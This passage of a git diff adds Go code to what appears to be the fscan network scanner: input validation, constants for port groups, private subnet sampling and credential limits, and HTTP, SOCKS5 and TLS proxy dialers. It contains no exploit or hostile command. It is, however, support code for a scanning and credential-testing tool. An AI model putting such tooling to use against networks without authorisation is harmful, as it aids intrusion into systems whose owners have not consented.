+ if input.HasProxy && !input.DisablePing {
+ warnings = append(warnings, "代理模式下Ping检测可能失效")
+ }
+
+ return errors, warnings
+}
+
+// validateLogic 逻辑验证
+func (vp *ValidationParser) validateLogic(input *ValidationInput, config *ParsedConfig) ([]error, []string) {
+ var errors []error
+ var warnings []string
+
+ // 验证目标配置逻辑
+ if vp.options.ValidateTargets && config != nil && config.Targets != nil {
+
+ // 检查排除端口配置
+ if len(config.Targets.ExcludePorts) > 0 && len(config.Targets.Ports) == 0 {
+ warnings = append(warnings, "排除端口无效")
+ }
+ }
+
+
+ return errors, warnings
+}
+
+
+// checkPerformance 性能检查
+func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *ParsedConfig) []string {
+ var warnings []string
+
+ if config == nil {
+ return warnings
+ }
+
+ // 检查目标数量
+ if config.Targets != nil {
+ totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports)
+ if totalTargets > MaxTargetsThreshold {
+ warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets))
+ }
+
+ // 检查端口范围
+ if len(config.Targets.Ports) > DefaultMaxPortRange {
+ warnings = append(warnings, "端口数量过多")
+ }
+ }
+
+ // 检查超时配置
+ if config.Network != nil {
+ if config.Network.Timeout < MinTimeoutThreshold {
+ warnings = append(warnings, "超时过短")
+ }
+ if config.Network.Timeout > MaxTimeoutThreshold {
+ warnings = append(warnings, "超时过长")
+ }
+ }
+
+ return warnings
+}
+
+// validateScanMode 验证扫描模式
+func (vp *ValidationParser) validateScanMode(scanMode string) error {
+ validModes := []string{"all", "icmp"}
+
+ // 检查是否为预定义模式
+ for _, mode := range validModes {
+ if scanMode == mode {
+ return nil
+ }
+ }
+
+ // 允许插件名称作为扫描模式,实际插件验证在运行时进行
+ // 这里不做严格验证,避免维护两套插件列表
+ return nil
+}
+
+
+// =============================================================================================
+// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
+// =============================================================================================
\ No newline at end of file
diff --git a/common/parsers/constants.go b/common/parsers/constants.go
new file mode 100644
index 0000000..42f1e4a
--- /dev/null
+++ b/common/parsers/constants.go
@@ -0,0 +1,276 @@
+package parsers
+
+import (
+ "regexp"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/base"
+)
+
+/*
+constants.go - 解析器系统常量定义
+
+统一管理common/parsers包中的所有常量,便于查看和编辑。
+*/
+
+// =============================================================================
+// 默认解析器选项常量 (从Types.go迁移)
+// =============================================================================
+
+const (
+ // 解析器默认配置
+ DefaultEnableConcurrency = true
+ DefaultMaxWorkers = 4
+ DefaultTimeout = 30 * time.Second
+ DefaultEnableValidation = true
+ DefaultEnableStatistics = true
+ DefaultIgnoreErrors = false
+ DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB
+ DefaultMaxTargets = 10000 // 10K targets
+)
+
+// =============================================================================
+// 文件读取器常量 (从FileReader.go迁移)
+// =============================================================================
+
+const (
+ // 文件读取器默认配置
+ DefaultMaxCacheSize = 10
+ DefaultEnableCache = true
+ DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB
+ DefaultFileReaderTimeout = 30 * time.Second
+ DefaultFileReaderEnableValidation = true
+ DefaultTrimSpace = true
+ DefaultSkipEmpty = true
+ DefaultSkipComments = true
+
+ // 文件内容验证
+ MaxLineLength = 1000 // 单行最大字符数
+ MaxValidRune = 32 // 最小有效字符ASCII值
+ TabRune = 9 // Tab字符
+ NewlineRune = 10 // 换行符
+ CarriageReturnRune = 13 // 回车符
+ CommentPrefix = "#" // 注释前缀
+)
+
+// =============================================================================
+// 凭据解析器常量 (从CredentialParser.go迁移)
+// =============================================================================
+
+const (
+ // 凭据验证限制
+ DefaultMaxUsernameLength = 64
+ DefaultMaxPasswordLength = 128
+ DefaultAllowEmptyPasswords = true
+ DefaultValidateHashes = true
+ DefaultDeduplicateUsers = true
+ DefaultDeduplicatePasswords = true
+ DefaultCredentialsEnableStatistics = true
+
+ // 哈希验证
+ HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式
+ HashValidationLength = 32 // 有效哈希长度
+ InvalidUsernameChars = "\r\n\t" // 无效用户名字符
+)
+
+// =============================================================================
+// 网络解析器常量 (从NetworkParser.go迁移)
+// =============================================================================
+
+const (
+ // 网络配置默认值
+ DefaultValidateProxies = true
+ DefaultAllowInsecure = false
+ DefaultNetworkTimeout = 30 * time.Second
+ DefaultWebTimeout = 10 * time.Second
+ DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
+
+ // 超时限制
+ MaxTimeoutSeconds = 300 // 最大超时5分钟
+ MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟
+
+ // 字符串长度限制
+ MaxUserAgentLength = 512 // 最大用户代理长度
+ MaxCookieLength = 4096 // 最大Cookie长度
+
+ // 代理快捷配置
+ ProxyShortcut1 = "1"
+ ProxyShortcut2 = "2"
+ ProxyShortcutHTTP = "http://127.0.0.1:8080"
+ ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080"
+
+ // 协议支持
+ ProtocolHTTP = "http"
+ ProtocolHTTPS = "https"
+ ProtocolSOCKS5 = "socks5"
+ ProtocolPrefix = "://"
+ SOCKS5Prefix = "socks5://"
+ HTTPPrefix = "http://"
+
+ // 端口范围
+ MinPort = 1
+ MaxPort = 65535
+
+ // 无效字符集
+ InvalidUserAgentChars = "\r\n\t"
+)
+
+// GetCommonBrowsers 获取常见浏览器标识列表
+func GetCommonBrowsers() []string {
+ return []string{
+ "Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
+ "AppleWebKit", "Gecko", "Trident", "Presto",
+ }
+}
+
+// =============================================================================
+// 目标解析器常量 (从TargetParser.go迁移)
+// =============================================================================
+
+const (
+ // 目标解析器默认配置
+ DefaultTargetMaxTargets = 10000
+ DefaultMaxPortRange = 1000
+ DefaultAllowPrivateIPs = true
+ DefaultAllowLoopback = true
+ DefaultValidateURLs = true
+ DefaultResolveDomains = false
+ DefaultTargetEnableStatistics = true
+
+ // 正则表达式模式
+ IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
+ PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
+ URLValidationRegexPattern = `^https?://[^\s]+$`
+ DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
+ CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
+
+ // IP地址限制
+ MaxIPv4OctetValue = 255
+ IPv4OctetCount = 4
+ MaxDomainLength = 253
+
+ // CIDR网段简写
+ PrivateNetwork192 = "192"
+ PrivateNetwork172 = "172"
+ PrivateNetwork10 = "10"
+ PrivateNetwork192CIDR = "192.168.0.0/16"
+ PrivateNetwork172CIDR = "172.16.0.0/12"
+ PrivateNetwork10CIDR = "10.0.0.0/8"
+
+ // 私有网络范围
+ Private172StartSecondOctet = 16
+ Private172EndSecondOctet = 31
+ Private192SecondOctet = 168
+
+ // /8网段采样配置
+ Subnet8SamplingStep = 32
+ Subnet8ThirdOctetStep = 10
+
+ // IP地址计算位移
+ IPFirstOctetShift = 24
+ IPSecondOctetShift = 16
+ IPThirdOctetShift = 8
+ IPOctetMask = 0xFF
+)
+
+// GetCommonSecondOctets 获取常用第二段IP
+func GetCommonSecondOctets() []int {
+ return []int{0, 1, 2, 10, 100, 200, 254}
+}
+
+// =============================================================================
+// 简化解析器常量 (从Simple.go迁移)
+// =============================================================================
+
+const (
+ // 端口和主机限制
+ SimpleMaxHosts = 10000
+
+ // 网段简写展开
+ DefaultGatewayLastOctet = 1
+ RouterSwitchLastOctet = 254
+ SamplingMinHost = 2
+ SamplingMaxHost = 253
+)
+
+// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
+func GetPortGroups() map[string]string {
+ return map[string]string{
+ "web": base.WebPorts, // 使用实际的WebPorts常量
+ "main": base.MainPorts, // 使用实际的MainPorts常量
+ "db": base.DbPorts, // 使用实际的DbPorts常量
+ "service": base.ServicePorts, // 使用实际的ServicePorts常量
+ "common": base.CommonPorts, // 使用实际的CommonPorts常量
+ "all": base.AllPorts, // 使用实际的AllPorts常量
+ }
+}
+
+// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
+func GetTargetPortGroups() map[string]string {
+ return GetPortGroups()
+}
+
+// =============================================================================
+// 验证解析器常量 (从ValidationParser.go迁移)
+// =============================================================================
+
+const (
+ // 验证解析器默认配置
+ DefaultMaxErrorCount = 100
+ DefaultStrictMode = false
+ DefaultAllowEmpty = true
+ DefaultCheckConflicts = true
+ DefaultValidateTargets = true
+ DefaultValidateNetwork = true
+
+ // 性能警告阈值
+ MaxTargetsThreshold = 100000 // 最大目标数量阈值
+ MinTimeoutThreshold = 1 * time.Second // 最小超时阈值
+ MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值
+)
+
+// =============================================================================
+// 错误类型常量
+// =============================================================================
+
+const (
+ // 解析错误类型
+ ErrorTypeInputError = "INPUT_ERROR"
+ ErrorTypeFileError = "FILE_ERROR"
+ ErrorTypeTimeout = "TIMEOUT"
+ ErrorTypeReadError = "READ_ERROR"
+ ErrorTypeUsernameError = "USERNAME_ERROR"
+ ErrorTypePasswordError = "PASSWORD_ERROR"
+ ErrorTypeHashError = "HASH_ERROR"
+ ErrorTypeProxyError = "PROXY_ERROR"
+ ErrorTypeUserAgentError = "USERAGENT_ERROR"
+ ErrorTypeCookieError = "COOKIE_ERROR"
+ ErrorTypeHostError = "HOST_ERROR"
+ ErrorTypePortError = "PORT_ERROR"
+ ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR"
+
+)
+
+// =============================================================================
+// 编译时正则表达式
+// =============================================================================
+
+var (
+ // 预编译的正则表达式,提高性能
+ CompiledHashRegex *regexp.Regexp
+ CompiledIPv4Regex *regexp.Regexp
+ CompiledPortRegex *regexp.Regexp
+ CompiledURLRegex *regexp.Regexp
+ CompiledDomainRegex *regexp.Regexp
+ CompiledCookieRegex *regexp.Regexp
+)
+
+// 在包初始化时编译正则表达式
+func init() {
+ CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
+ CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern)
+ CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern)
+ CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern)
+ CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern)
+ CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern)
+}
\ No newline at end of file
diff --git a/common/proxy/Factory.go b/common/proxy/Factory.go
new file mode 100644
index 0000000..d24b9d9
--- /dev/null
+++ b/common/proxy/Factory.go
@@ -0,0 +1,14 @@
+package proxy
+
+// 已清理未使用的导入
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// - ParseProxyURL: 解析代理URL
+// - CreateProxyManager: 创建代理管理器
+// - ValidateProxyConfig: 验证代理配置
+// - GetProxyTypeFromString: 从字符串获取代理类型
+// - BuildProxyURL: 构建代理URL
+// - IsProxyEnabled: 检查是否启用了代理
+// - GetDefaultProxyConfigForType: 获取指定类型的默认配置
+// =============================================================================================
\ No newline at end of file
diff --git a/common/proxy/Global.go b/common/proxy/Global.go
new file mode 100644
index 0000000..9c581ff
--- /dev/null
+++ b/common/proxy/Global.go
@@ -0,0 +1,22 @@
+package proxy
+
+// 已清理未使用的导入和全局变量
+
+// =============================================================================================
+// 已删除的死代码(未使用):
+// - globalManager: 全局代理管理器变量
+// - globalMutex: 全局互斥锁
+// - once: 全局初始化once变量
+// - InitGlobalProxy: 初始化全局代理管理器
+// - GetGlobalProxy: 获取全局代理管理器
+// - UpdateGlobalProxyConfig: 更新全局代理配置
+// - CloseGlobalProxy: 关闭全局代理管理器
+// - GetGlobalProxyStats: 获取全局代理统计信息
+// - DialWithProxy: 使用全局代理拨号
+// - DialContextWithProxy: 使用全局代理和上下文拨号
+// - DialTLSWithProxy: 使用全局代理建立TLS连接
+// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接
+// - IsProxyEnabledGlobally: 检查全局是否启用了代理
+// - GetGlobalProxyType: 获取全局代理类型
+// - GetGlobalProxyAddress: 获取全局代理地址
+// =============================================================================================
\ No newline at end of file
diff --git a/common/proxy/HTTPDialer.go b/common/proxy/HTTPDialer.go
new file mode 100644
index 0000000..8239e7c
--- /dev/null
+++ b/common/proxy/HTTPDialer.go
@@ -0,0 +1,112 @@
+package proxy
+
+import (
+ "bufio"
+ "context"
+ "encoding/base64"
+ "fmt"
+ "net"
+ "net/http"
+ "sync/atomic"
+ "time"
+)
+
+// httpDialer HTTP代理拨号器
+type httpDialer struct {
+ config *ProxyConfig
+ stats *ProxyStats
+ baseDial *net.Dialer
+}
+
+func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
+ return h.DialContext(context.Background(), network, address)
+}
+
+func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
+ start := time.Now()
+ atomic.AddInt64(&h.stats.TotalConnections, 1)
+
+ // 连接到HTTP代理服务器
+ proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
+ if err != nil {
+ atomic.AddInt64(&h.stats.FailedConnections, 1)
+ h.stats.LastError = err.Error()
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
+ }
+
+ // 发送CONNECT请求
+ if err := h.sendConnectRequest(proxyConn, address); err != nil {
+ proxyConn.Close()
+ atomic.AddInt64(&h.stats.FailedConnections, 1)
+ h.stats.LastError = err.Error()
+ return nil, err
+ }
+
+ duration := time.Since(start)
+ h.stats.LastConnectTime = start
+ atomic.AddInt64(&h.stats.ActiveConnections, 1)
+ h.updateAverageConnectTime(duration)
+
+ return &trackedConn{
+ Conn: proxyConn,
+ stats: h.stats,
+ }, nil
+}
+
+// sendConnectRequest 发送HTTP CONNECT请求
+func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
+ // 构建CONNECT请求
+ req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
+
+ // 添加认证头
+ if h.config.Username != "" {
+ auth := base64.StdEncoding.EncodeToString(
+ []byte(h.config.Username + AuthSeparator + h.config.Password))
+ req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
+ }
+
+ req += HTTPRequestEndFormat
+
+ // 设置写超时
+ if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
+ return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
+ }
+
+ // 发送请求
+ if _, err := conn.Write([]byte(req)); err != nil {
+ return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
+ }
+
+ // 设置读超时
+ if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
+ return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
+ }
+
+ // 读取响应
+ resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
+ if err != nil {
+ return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
+ }
+ defer resp.Body.Close()
+
+ // 检查响应状态
+ if resp.StatusCode != HTTPStatusOK {
+ return NewProxyError(ErrTypeAuth,
+ fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
+ }
+
+ // 清除deadline
+ conn.SetDeadline(time.Time{})
+
+ return nil
+}
+
+// updateAverageConnectTime 更新平均连接时间
+func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
+ // 简单的移动平均
+ if h.stats.AverageConnectTime == 0 {
+ h.stats.AverageConnectTime = duration
+ } else {
+ h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
+ }
+}
\ No newline at end of file
diff --git a/common/proxy/Manager.go b/common/proxy/Manager.go
new file mode 100644
index 0000000..d9f82a1
--- /dev/null
+++ b/common/proxy/Manager.go
@@ -0,0 +1,337 @@
+package proxy
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/url"
+ "sync"
+ "sync/atomic"
+ "time"
+
+ "golang.org/x/net/proxy"
+)
+
+// manager 代理管理器实现
+type manager struct {
+ config *ProxyConfig
+ stats *ProxyStats
+ mu sync.RWMutex
+
+ // 连接池
+ dialerCache map[string]Dialer
+ cacheExpiry time.Time
+ cacheMu sync.RWMutex
+}
+
+// NewProxyManager 创建新的代理管理器
+func NewProxyManager(config *ProxyConfig) ProxyManager {
+ if config == nil {
+ config = DefaultProxyConfig()
+ }
+
+ return &manager{
+ config: config,
+ stats: &ProxyStats{
+ ProxyType: config.Type.String(),
+ ProxyAddress: config.Address,
+ },
+ dialerCache: make(map[string]Dialer),
+ cacheExpiry: time.Now().Add(DefaultCacheExpiry),
+ }
+}
+
+// GetDialer 获取普通拨号器
+func (m *manager) GetDialer() (Dialer, error) {
+ m.mu.RLock()
+ config := m.config
+ m.mu.RUnlock()
+
+ switch config.Type {
+ case ProxyTypeNone:
+ return m.createDirectDialer(), nil
+ case ProxyTypeSOCKS5:
+ return m.createSOCKS5Dialer()
+ case ProxyTypeHTTP, ProxyTypeHTTPS:
+ return m.createHTTPDialer()
+ default:
+ return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
+ }
+}
+
+// GetTLSDialer 获取TLS拨号器
+func (m *manager) GetTLSDialer() (TLSDialer, error) {
+ dialer, err := m.GetDialer()
+ if err != nil {
+ return nil, err
+ }
+
+ return &tlsDialerWrapper{
+ dialer: dialer,
+ config: m.config,
+ stats: m.stats,
+ }, nil
+}
+
+// UpdateConfig 更新配置
+func (m *manager) UpdateConfig(config *ProxyConfig) error {
+ if config == nil {
+ return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
+ }
+
+ m.mu.Lock()
+ defer m.mu.Unlock()
+
+ m.config = config
+ m.stats.ProxyType = config.Type.String()
+ m.stats.ProxyAddress = config.Address
+
+ // 清理缓存
+ m.cacheMu.Lock()
+ m.dialerCache = make(map[string]Dialer)
+ m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
+ m.cacheMu.Unlock()
+
+ return nil
+}
+
+// Close 关闭管理器
+func (m *manager) Close() error {
+ m.cacheMu.Lock()
+ defer m.cacheMu.Unlock()
+
+ m.dialerCache = make(map[string]Dialer)
+ return nil
+}
+
+// Stats 获取统计信息
+func (m *manager) Stats() *ProxyStats {
+ m.mu.RLock()
+ defer m.mu.RUnlock()
+
+ // 返回副本以避免并发问题
+ statsCopy := *m.stats
+ return &statsCopy
+}
+
+// createDirectDialer 创建直连拨号器
+func (m *manager) createDirectDialer() Dialer {
+ return &directDialer{
+ timeout: m.config.Timeout,
+ stats: m.stats,
+ }
+}
+
+// createSOCKS5Dialer 创建SOCKS5拨号器
+func (m *manager) createSOCKS5Dialer() (Dialer, error) {
+ // 检查缓存
+ cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
+ m.cacheMu.RLock()
+ if time.Now().Before(m.cacheExpiry) {
+ if cached, exists := m.dialerCache[cacheKey]; exists {
+ m.cacheMu.RUnlock()
+ return cached, nil
+ }
+ }
+ m.cacheMu.RUnlock()
+
+ // 解析代理地址
+ proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
+ if m.config.Username != "" {
+ proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
+ m.config.Username, m.config.Password, m.config.Address)
+ }
+
+ u, err := url.Parse(proxyURL)
+ if err != nil {
+ return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
+ }
+
+ // 创建基础拨号器
+ baseDial := &net.Dialer{
+ Timeout: m.config.Timeout,
+ KeepAlive: m.config.KeepAlive,
+ }
+
+ // 创建SOCKS5拨号器
+ var auth *proxy.Auth
+ if u.User != nil {
+ auth = &proxy.Auth{
+ User: u.User.Username(),
+ }
+ if password, hasPassword := u.User.Password(); hasPassword {
+ auth.Password = password
+ }
+ }
+
+ socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
+ if err != nil {
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
+ }
+
+ dialer := &socks5Dialer{
+ dialer: socksDialer,
+ config: m.config,
+ stats: m.stats,
+ }
+
+ // 更新缓存
+ m.cacheMu.Lock()
+ m.dialerCache[cacheKey] = dialer
+ m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
+ m.cacheMu.Unlock()
+
+ return dialer, nil
+}
+
+// createHTTPDialer 创建HTTP代理拨号器
+func (m *manager) createHTTPDialer() (Dialer, error) {
+ // 检查缓存
+ cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
+ m.cacheMu.RLock()
+ if time.Now().Before(m.cacheExpiry) {
+ if cached, exists := m.dialerCache[cacheKey]; exists {
+ m.cacheMu.RUnlock()
+ return cached, nil
+ }
+ }
+ m.cacheMu.RUnlock()
+
+ dialer := &httpDialer{
+ config: m.config,
+ stats: m.stats,
+ baseDial: &net.Dialer{
+ Timeout: m.config.Timeout,
+ KeepAlive: m.config.KeepAlive,
+ },
+ }
+
+ // 更新缓存
+ m.cacheMu.Lock()
+ m.dialerCache[cacheKey] = dialer
+ m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
+ m.cacheMu.Unlock()
+
+ return dialer, nil
+}
+
+// directDialer 直连拨号器
+type directDialer struct {
+ timeout time.Duration
+ stats *ProxyStats
+}
+
+func (d *directDialer) Dial(network, address string) (net.Conn, error) {
+ return d.DialContext(context.Background(), network, address)
+}
+
+func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
+ start := time.Now()
+ atomic.AddInt64(&d.stats.TotalConnections, 1)
+
+ dialer := &net.Dialer{
+ Timeout: d.timeout,
+ }
+
+ conn, err := dialer.DialContext(ctx, network, address)
+
+ duration := time.Since(start)
+ d.stats.LastConnectTime = start
+
+ if err != nil {
+ atomic.AddInt64(&d.stats.FailedConnections, 1)
+ d.stats.LastError = err.Error()
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
+ }
+
+ atomic.AddInt64(&d.stats.ActiveConnections, 1)
+ d.updateAverageConnectTime(duration)
+
+ return &trackedConn{
+ Conn: conn,
+ stats: d.stats,
+ }, nil
+}
+
+// socks5Dialer SOCKS5拨号器
+type socks5Dialer struct {
+ dialer proxy.Dialer
+ config *ProxyConfig
+ stats *ProxyStats
+}
+
+func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
+ return s.DialContext(context.Background(), network, address)
+}
+
+func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
+ start := time.Now()
+ atomic.AddInt64(&s.stats.TotalConnections, 1)
+
+ // 创建一个带超时的上下文
+ dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
+ defer cancel()
+
+ // 使用goroutine处理拨号,以支持取消
+ connChan := make(chan struct {
+ conn net.Conn
+ err error
+ }, 1)
+
+ go func() {
+ conn, err := s.dialer.Dial(network, address)
+ select {
+ case <-dialCtx.Done():
+ if conn != nil {
+ conn.Close()
+ }
+ case connChan <- struct {
+ conn net.Conn
+ err error
+ }{conn, err}:
+ }
+ }()
+
+ select {
+ case <-dialCtx.Done():
+ atomic.AddInt64(&s.stats.FailedConnections, 1)
+ s.stats.LastError = dialCtx.Err().Error()
+ return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
+ case result := <-connChan:
+ duration := time.Since(start)
+ s.stats.LastConnectTime = start
+
+ if result.err != nil {
+ atomic.AddInt64(&s.stats.FailedConnections, 1)
+ s.stats.LastError = result.err.Error()
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
+ }
+
+ atomic.AddInt64(&s.stats.ActiveConnections, 1)
+ s.updateAverageConnectTime(duration)
+
+ return &trackedConn{
+ Conn: result.conn,
+ stats: s.stats,
+ }, nil
+ }
+}
+
+// updateAverageConnectTime 更新平均连接时间
+func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
+ // 简单的移动平均
+ if d.stats.AverageConnectTime == 0 {
+ d.stats.AverageConnectTime = duration
+ } else {
+ d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
+ }
+}
+
+func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
+ // 简单的移动平均
+ if s.stats.AverageConnectTime == 0 {
+ s.stats.AverageConnectTime = duration
+ } else {
+ s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
+ }
+}
\ No newline at end of file
diff --git a/common/proxy/TLSDialer.go b/common/proxy/TLSDialer.go
new file mode 100644
index 0000000..ae119bd
--- /dev/null
+++ b/common/proxy/TLSDialer.go
@@ -0,0 +1,157 @@
+package proxy
+
+import (
+ "context"
+ "crypto/tls"
+ "net"
+ "sync/atomic"
+ "time"
+)
+
+// tlsDialerWrapper TLS拨号器包装器
+type tlsDialerWrapper struct {
+ dialer Dialer
+ config *ProxyConfig
+ stats *ProxyStats
+}
+
+func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
+ return t.dialer.Dial(network, address)
+}
+
+func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
+ return t.dialer.DialContext(ctx, network, address)
+}
+
+func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
+ return t.DialTLSContext(context.Background(), network, address, config)
+}
+
+func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
+ start := time.Now()
+
+ // 首先建立TCP连接
+ tcpConn, err := t.dialer.DialContext(ctx, network, address)
+ if err != nil {
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
+ }
+
+ // 创建TLS连接
+ tlsConn := tls.Client(tcpConn, tlsConfig)
+
+ // 设置TLS握手超时
+ if deadline, ok := ctx.Deadline(); ok {
+ tlsConn.SetDeadline(deadline)
+ } else {
+ tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
+ }
+
+ // 进行TLS握手
+ if err := tlsConn.Handshake(); err != nil {
+ tcpConn.Close()
+ atomic.AddInt64(&t.stats.FailedConnections, 1)
+ t.stats.LastError = err.Error()
+ return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
+ }
+
+ // 清除deadline,让上层代码管理超时
+ tlsConn.SetDeadline(time.Time{})
+
+ duration := time.Since(start)
+ t.updateAverageConnectTime(duration)
+
+ return &trackedTLSConn{
+ trackedConn: &trackedConn{
+ Conn: tlsConn,
+ stats: t.stats,
+ },
+ isTLS: true,
+ }, nil
+}
+
+// updateAverageConnectTime 更新平均连接时间
+func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
+ // 简单的移动平均
+ if t.stats.AverageConnectTime == 0 {
+ t.stats.AverageConnectTime = duration
+ } else {
+ t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
+ }
+}
+
+// trackedConn 带统计的连接
+type trackedConn struct {
+ net.Conn
+ stats *ProxyStats
+ bytesSent int64
+ bytesRecv int64
+}
+
+func (tc *trackedConn) Read(b []byte) (n int, err error) {
+ n, err = tc.Conn.Read(b)
+ if n > 0 {
+ atomic.AddInt64(&tc.bytesRecv, int64(n))
+ }
+ return n, err
+}
+
+func (tc *trackedConn) Write(b []byte) (n int, err error) {
+ n, err = tc.Conn.Write(b)
+ if n > 0 {
+ atomic.AddInt64(&tc.bytesSent, int64(n))
+ }
+ return n, err
+}
+
+func (tc *trackedConn) Close() error {
+ atomic.AddInt64(&tc.stats.ActiveConnections, -1)
+ return tc.Conn.Close()
+}
+
+// trackedTLSConn 带统计的TLS连接
+type trackedTLSConn struct {
+ *trackedConn
+ isTLS bool
+}
+
+func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
+ if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
+ return tlsConn.ConnectionState()
+ }
+ return tls.ConnectionState{}
+}
+
+func (ttc *trackedTLSConn) Handshake() error {
+ if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
+ return tlsConn.Handshake()
+ }
+ return nil
+}
+
+func (ttc *trackedTLSConn) OCSPResponse() []byte {
+ if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
+ return tlsConn.OCSPResponse()
+ }
+ return nil
+}
+
+func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
+ if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
+ state := tlsConn.ConnectionState()
+ var certs []*tls.Certificate
+ for _, cert := range state.PeerCertificates {
+ certs = append(certs, &tls.Certificate{
+ Certificate: [][]byte{cert.Raw},
+ })
+ }
+ return certs
+ }
+ return nil
+}
+
+func (ttc *trackedTLSConn) VerifyHostname(host string) error {
+ if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
+ return tlsConn.VerifyHostname(host)
+ }
+ return nil
+}
\ No newline at end of file
diff --git a/common/proxy/Types.go b/common/proxy/Types.go
new file mode 100644
